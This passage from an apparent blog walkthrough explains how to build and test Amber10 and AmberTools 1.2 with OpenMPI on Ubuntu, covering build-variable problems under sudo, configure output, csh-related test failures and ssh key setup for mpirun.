from the Makefile in the ../test directory. I can't imagine this happens in all other distributions, but I also don't know what the problem could be given that all of the other tests work just fine. That said, there's a failed test for the OpenMPI 1.3.x build as well when you forget to run the tests from csh, but that has nothing to do with OpenMPI (see below).

16 – 19 Building Amber10 and AmberTools At $HOME

As described in the 3 – 9 section above, the problem with not building in your $HOME directory is the passing of variables in the build processes. For instance, if you set MPI_HOME in your $HOME .bashrc file and then sudo make parallel, the error you'll see is

Starting installation of Amber10 (parallel) at Mon Mar 9 22:30:36 EDT 2009.
cd sander; make parallel
make[1]: Entering directory `/opt/amber10/src/sander'
./checkparconf
cpp -traditional -I/usr/local/include -P -xassembler-with-cpp -Dsecond=ambsecond -DBINTRAJ -DMPI constants.f > _constants.f
/usr/local/bin/mpif90 -c -O3 -fno-range-check -fno-second-underscore -ffree-form -o constants.o _constants.f
Cannot open configuration file /usr/share/openmpi/mpif90-wrapper-data.txt
Error parsing data file mpif90: Not found
make[1]: *** [constants.o] Error 243
make[1]: Leaving directory `/opt/amber10/src/sander'
make: *** [parallel] Error 2

because the MPI_HOME variable is not specified for root. Performing the compilation in $HOME/Documents avoids this issue.

If you want to build Amber and AmberTools in /opt as root for some reason and do not want to deal with modifying the .bashrc and .profile files in /root, you can modify the appropriate Amber files to define the variables needed for both building and testing. For AmberTools testing, you need to define AMBERHOME, which you do at the top of Makefile_at.

cd ../test/

sudo pico Makefile_at

include ../src/config.h

AMBERHOME=/opt/amber10/
export AMBERHOME

test: is_amberhome_defined \

sudo make -f Makefile_at test

For the Amber10 build process, you would need to modify configure_amber at the top of the file to specify the MPI_HOME variable.

sudo pico configure_amber

#!/bin/sh
#set -xv

MPI_HOME=/
export MPI_HOME

command="$0 $*"

For the Amber10 testing process, you would need to assign both AMBERHOME (so the tests know where to look for the executables) and DO_PARALLEL (so the tests know to use OpenMPI) at the top of the file.

cd ../test/

sudo pico Makefile

include ../src/config_amber.h

AMBERHOME=/opt/amber10
export AMBERHOME

DO_PARALLEL=mpirun -np 4
export DO_PARALLEL

SHELL=/bin/sh

It otherwise makes no difference at all how you choose to do things so long as the program gets built. Much of the Ubuntu literature I've stumbled across attempts to make people avoid doing anything to change the root account settings, which was the approach I chose to use in the "Easy" procedure above.

20 – 21 Patching Amber10 and AmberTools 1.2

No surprises and not necessary for building. Do it anyway. And patch is included as one of the apt-get'ed programs. Simply be cognizant of the naming of the bugfix files (the directories are the same for both Amber10 and AmberTools and the patch is simply applied to the files it finds).

22 – 24 Building AmberTools

Your choices for the AmberTools build are fairly limited. Via configure_at –help,

Usage: ./configure_at [flags] compiler

where compiler is one of:

gcc, icc, solaris_cc, irix_cc, osf1_cc

If not specified then gcc is used.

Option flags:

-mpi        use MPI for parallelization
-scalapack use ScaLAPACK for linear algebra (utilizes MPI)
-openmp     Use OpenMP pragmas for parallelization (icc, solaris_cc,gcc(>4.2))
-opteron    options for solaris/opteron
-ultra2     options for solaris/ultra2
-ultra3     options for solaris/ultra3
-ultra4     options for solaris/ultra4
-bit64      64-bit compilation for solaris
-perflib    Use solaris performance library in lieu of LAPACK and BLAS
-cygwin     modifications for cygwin/windows
-p4         use optimizations specific for the Intel Pentium4 processor
-altix      use optimizations specific for the SGI Altix with icc
-static     create statically linked executables
-noX11      Do not build programs that require X11 libraries, e.g. xleap.
-nobintraj Delete support for binary (netCDF) trajectory files
-nosleap    Do not build sleap, which requires unantiquated compilers.

Environment variables:
MKL_HOME If present, will link in Intel's MKL libraries (icc,gcc)
GOTO If present, and MKL_HOME is not set, will use this location
for the Goto BLAS routines

We're building gcc (default) with the above installs. Running ./configure -noX11 with the apt-get-installed programs above should produce the following output.

Setting AMBERHOME to /home/userid/Documents/amber10

Testing the C compiler:
mpicc -m64 -o testp testp.c
OK

Obtaining the C++ compiler version:
g++ -v
The version is ../src/configure
4.3.2
[: 520: 3: unexpected operator
OK

Testing the g77 compiler:
g77 -O2 -fno-automatic -finit-local-zero -o testp testp.f
./configure_at: 538: g77: not found
./configure_at: 539: ./testp: not found
Unable to compile a Fortran program using g77 -O2 -fno-automatic -finit-local-zero

Testing the gfortran compiler:
gfortran -O1 -fno-automatic -o testp testp.f
OK

Testing flex:
OK

Configuring netcdf; (may be time-consuming)

NETCDF configure succeeded.

The configuration file, config.h, was successfully created.

The next step is to type 'make -f Makefile_at'

25 – 28 Testing AmberTools

As a quick head's up, if you don't have csh installed, your test will fail at the following step with the following error:

cd ptraj_rmsa && ./Run.rms
/bin/sh: ./Run.rms: not found
make: *** [test.ptraj] Error 127

Otherwise, you can see the output from my test set HERE. Installing csh is much easier than modifying multiple Run scripts.

That said, the one fix I do perform is to modify the mopac.sh file only slightly in accordance with the post by Mark Williamson on the Vanderbilt University Amber Listserve (the first stumbling block a ran into during testing).

29 – 31 Building Parallel Amber10

Running ./configure_amber -openmpi gfortran should output the following:

Setting AMBERHOME to /home/userid/Documents/amber10

Setting up Amber configuration file for architecture: gfortran
Using parallel communications library: openmpi
The MKL_HOME environment variable is not defined.

Testing the C compiler:
gcc -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE -O2 -m64 -o testp testp.c
OK

Testing the Fortran compiler:
gfortran -O0 -fno-range-check -fno-second-underscore -o testp testp.f
OK

—— Configuring the netCDF libraries: ——–

Configuring netcdf; (may be time-consuming)
NETCDF configure succeeded.
MPI_HOME is set to /

The configuration file, config_amber.h, was successfully created.

32 – 35 Automatic ssh Login

These step saves you from constantly having to input your password for the mpirun testing phase. This strictness to password provision is because of ssh (and, because I have machines both online and accessible, I prefer to deal with setting up the ssh side right instead of not having that layer of security). The first time you run mpirun, ssh will throw back at you the following:

The authenticity of host â€˜userid-desktop (127.0.1.1)' can't be established.
RSA key fingerprint is eb:86:24:66:67:0a:7a:7b:44:95:a6:83:d2:a8:68:01.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added â€˜terahertz-desktop' (RSA) to the list of known hosts.

Generating the automatic login file for ssh will look like the following:

Generating public/private dsa key pair.
Enter file in which to save the key (/home/userid/.ssh/id_dsa):
Created directory '/home/userid/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/userid/.ssh/id_dsa.
Your public key has been saved in /home/userid/.ssh/id_dsa.pub.
The key fingerprint is:
54:84:68:79:3b:ec:17:41:c9:96:98:10:df:4f:cc:42 userid@userid-desktop
The key's randomart image is:
+–[ DSA 1024]—-+
…

36 – 40 Testing Amber10

If you're not in csh, either this test fails…

cd rdc && ./Run.dip
if: Badly formed number.
make[1]: *** [test.sander.BASIC] Error 1
make[1]: Leaving directory `/home/userid/Documents/amber10/test'
make: *** [test.sander.BASIC.MPI] Error 2

or this one…

cd pheMTI && ./Run.lambda0
This test must be run in parallel
make: *** [test.sander.TI] Error 1

Again, re-writing scripts is far less fun than sudo apt-get install csh and forgetting about it.

41 – 47 Moving The Built Amber10 and AmberTools

The final sequence of steps moves the $HOME/Documents-built amber10 into /opt (if you choose to), removes the build from your $HOME directory, and resets your PATH and AMBERHOME variables in .bashrc and .profile, thereby completing the build process.

And Finally…

If questions are raised, comments are thought of, speed-ups identified, etc., please either send me an email or post them here. Our concern as computational chemists should be making predictions and interpreting data, not making compilation errors and interpreting error messages.